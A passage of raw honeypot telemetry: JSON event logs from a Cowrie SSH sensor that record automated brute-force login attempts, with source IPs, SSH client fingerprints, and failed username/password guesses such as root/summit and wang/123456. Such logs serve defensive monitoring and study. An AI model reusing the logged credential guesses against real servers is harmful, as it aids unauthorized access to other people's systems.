12-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:37.840952Z","src_ip":"49.207.40.162","session":"392bb854ed82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summit","message":"login attempt [root/summit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:38.751987Z","src_ip":"49.207.40.162","session":"392bb854ed82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:39.972942Z","src_ip":"49.207.40.162","session":"392bb854ed82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":48740,"dst_ip":"159.203.135.109","dst_port":22,"session":"f51a75cf763c","protocol":"ssh","message":"New connection: 101.36.124.219:48740 (159.203.135.109:22) [session: f51a75cf763c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:42.864896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:42.868812Z","src_ip":"101.36.124.219","session":"f51a75cf763c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:43.082355Z","src_ip":"101.36.124.219","session":"f51a75cf763c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2028","message":"login attempt [root/2028] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:43.960914Z","src_ip":"101.36.124.219","session":"f51a75cf763c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:45.174911Z","src_ip":"101.36.124.219","session":"f51a75cf763c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":35836,"dst_ip":"10.17.0.5","dst_port":22,"session":"f62e9e4bea69","protocol":"ssh","message":"New connection: 14.63.196.175:35836 (10.17.0.5:22) [session: f62e9e4bea69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:46.707533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:46.711806Z","src_ip":"14.63.196.175","session":"f62e9e4bea69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:46.913779Z","src_ip":"14.63.196.175","session":"f62e9e4bea69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"transltr","message":"login attempt [root/transltr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:47.757562Z","src_ip":"14.63.196.175","session":"f62e9e4bea69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:48.963049Z","src_ip":"14.63.196.175","session":"f62e9e4bea69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.187","src_port":45838,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5a658575b6","protocol":"ssh","message":"New connection: 104.28.195.187:45838 (10.17.0.5:22) [session: fc5a658575b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:53.136047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:53.140336Z","src_ip":"104.28.195.187","session":"fc5a658575b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:53.258137Z","src_ip":"104.28.195.187","session":"fc5a658575b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:53.602665Z","src_ip":"104.28.195.187","session":"fc5a658575b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:54.684259Z","src_ip":"104.28.195.187","session":"fc5a658575b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":44318,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab6b3f273a67","protocol":"ssh","message":"New connection: 182.180.57.212:44318 (10.17.0.5:22) [session: ab6b3f273a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:11.741176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:11.746226Z","src_ip":"182.180.57.212","session":"ab6b3f273a67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:11.984090Z","src_ip":"182.180.57.212","session":"ab6b3f273a67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rails","message":"login attempt [root/rails] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:14.246320Z","src_ip":"182.180.57.212","session":"ab6b3f273a67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:15.489707Z","src_ip":"182.180.57.212","session":"ab6b3f273a67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58124,"dst_ip":"10.17.0.5","dst_port":22,"session":"00c5fd267660","protocol":"ssh","message":"New connection: 8.218.166.49:58124 (10.17.0.5:22) [session: 00c5fd267660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:20.199901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:20.234493Z","src_ip":"8.218.166.49","session":"00c5fd267660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:20.545680Z","src_ip":"8.218.166.49","session":"00c5fd267660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:21.671672Z","src_ip":"8.218.166.49","session":"00c5fd267660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:23.071153Z","src_ip":"8.218.166.49","session":"00c5fd267660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.008474111557,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:31.542110Z","src_ip":"187.60.147.195","session":"133dcb68b373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":49666,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc91115aa2c","protocol":"ssh","message":"New connection: 198.23.150.42:49666 (10.17.0.5:22) [session: acc91115aa2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:43.692609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:43.696745Z","src_ip":"198.23.150.42","session":"acc91115aa2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:43.714024Z","src_ip":"198.23.150.42","session":"acc91115aa2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saroj","message":"login attempt [root/saroj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:43.814223Z","src_ip":"198.23.150.42","session":"acc91115aa2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:50:44.835517Z","src_ip":"198.23.150.42","session":"acc91115aa2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":57932,"dst_ip":"10.17.0.5","dst_port":22,"session":"7001a5708b50","protocol":"ssh","message":"New connection: 49.207.40.162:57932 (10.17.0.5:22) [session: 7001a5708b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:00.296203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:00.306017Z","src_ip":"49.207.40.162","session":"7001a5708b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:00.524836Z","src_ip":"49.207.40.162","session":"7001a5708b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":36944,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bb2bd0929ce","protocol":"ssh","message":"New connection: 8.218.166.49:36944 (10.17.0.5:22) [session: 9bb2bd0929ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:00.972971Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"albert","message":"login attempt [root/albert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:01.427596Z","src_ip":"49.207.40.162","session":"7001a5708b50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:02.651244Z","src_ip":"49.207.40.162","session":"7001a5708b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":43384,"dst_ip":"10.17.0.5","dst_port":22,"session":"0de226c550de","protocol":"ssh","message":"New connection: 183.182.125.142:43384 (10.17.0.5:22) [session: 0de226c550de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:07.121615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:07.126145Z","src_ip":"183.182.125.142","session":"0de226c550de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:07.401592Z","src_ip":"183.182.125.142","session":"0de226c550de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:09.325140Z","src_ip":"183.182.125.142","session":"0de226c550de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:10.604221Z","src_ip":"183.182.125.142","session":"0de226c550de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54242,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6968e551af5","protocol":"ssh","message":"New connection: 8.218.166.49:54242 (10.17.0.5:22) [session: c6968e551af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:51:14.547150Z"}
